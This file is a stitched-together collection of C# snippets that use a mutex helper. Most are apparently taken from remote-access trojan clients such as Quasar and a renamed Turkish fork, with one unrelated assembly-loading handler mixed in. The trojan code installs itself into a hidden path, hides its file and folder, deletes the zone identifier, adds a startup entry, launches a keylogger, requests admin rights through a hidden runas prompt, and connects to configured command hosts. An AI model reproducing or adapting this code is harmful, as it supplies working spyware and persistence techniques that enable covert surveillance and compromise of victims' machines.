public static void HandleDoAskElevate(Packets.ServerPackets.DoAskElevate command, Client client) { if (WindowsAccountHelper.GetAccountType() != "Admin") { ProcessStartInfo processStartInfo = new ProcessStartInfo { FileName = "cmd", Verb = "runas", Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT", WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true }; MutexHelper.CloseMutex(); // close the mutex so our new process will run try { Process.Start(processStartInfo); } catch { new Packets.ClientPackets.SetStatus("User refused the elevation request.").Execute(client); MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex return; } Program.ConnectClient.Exit(); } else { new Packets.ClientPackets.SetStatus("Process already elevated.").Execute(client); } }
// Assembly.LoadFrom fails in webgarden scenario(2 processes), the mutex is cross process and avoids the error // Note: LoadFrom only fails because it needs to implicity do copy the dll to temp folder(shadow copy) // if in the future we decide to drop the use of shadow copy, we can remove the mutexes protected static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args) { string asmName = new AssemblyName(args.Name).Name; string assemblyToLoad = Path.Combine(_sharedPath, asmName + ".DLL"); if (File.Exists(assemblyToLoad)) { Mutex mutex = MutexHelper.CreateMutex("OSMutex-{" + assemblyToLoad.GetHashCode().ToString() + "}", /*globalMutex*/ true); bool adquired = false; try { adquired = mutex.WaitOne(); Assembly assembly = Assembly.LoadFrom(assemblyToLoad); return(assembly); } catch (IOException) { // Ignore IO Exceptions. AssemblyResolve should not fail on those errors. return(null); } finally { if (adquired) { mutex.ReleaseMutex(); } } } return(null); }
private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) { return(false); } AES.SetDefaultKey(Settings.PASSWORD); ClientVerisi.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath); if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Başlangıç.AddToStartup()) { ClientVerisi.AddToStartupFailed = true; } } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); var logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } ConnectClient = new KuuhakuClient(hosts); return(true); } MutexHelper.CloseMutex(); ClientYükleyici.Install(ConnectClient); return(false); }
private static void Initialize() { if (!MutexHelper.CreateMutex(Settings.MUTEX)) { ClientData.Disconnect = true; // process with same mutex is already running } if (ClientData.Disconnect) { return; } AES.PreHashKey(Settings.PASSWORD); _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); if (_hosts.IsEmpty) { ClientData.Disconnect = true; // no hosts to connect } if (ClientData.Disconnect) { return; } FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP && Settings.INSTALL) { if (!Startup.AddToStartup()) { ClientData.AddToStartupFailed = true; } } InitializeClient(); if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }).Start(); } } else { MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); } }
private bool Initialize() { if (!MutexHelper.CreateMutex("123AKs82kA,ylAo2kAlUS2kYkala!")) { return(false); } Thread staThread = new Thread(() => { _result = GetExplorerSelectedFiles(); }); staThread.SetApartmentState(ApartmentState.STA); staThread.Start(); staThread.Join(); return(true); }
private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); // process with same mutex is already running if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect { return(false); } Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY); ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Startup.AddToStartup()) { ClientData.AddToStartupFailed = true; } } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) { try { DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath)); di.Attributes |= FileAttributes.Hidden; } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } ConnectClient = new QuasarClient(hosts); return(true); } else { MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); return(false); } }
private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); // process with same mutex is already running if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect { return(false); } ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); // Request elevation if (Settings.REQUESTELEVATIONONEXECUTION && WindowsAccountHelper.GetAccountType() != "Admin") { ProcessStartInfo processStartInfo = new ProcessStartInfo { FileName = "cmd", Verb = "runas", Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT", WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true }; MutexHelper.CloseMutex(); // close the mutex so our new process will run bool success = true; try { Process.Start(processStartInfo); } catch { success = false; MutexHelper.CreateMutex(Settings.MUTEX); // re-grab the mutex } if (success) { ConnectClient.Exit(); } } FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Startup.AddToStartup()) { ClientData.AddToStartupFailed = true; } } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY)) { try { DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath)); di.Attributes |= FileAttributes.Hidden; } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); Keylogger logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); return(true); } MutexHelper.CloseMutex(); ClientInstaller.Install(ConnectClient); return(false); }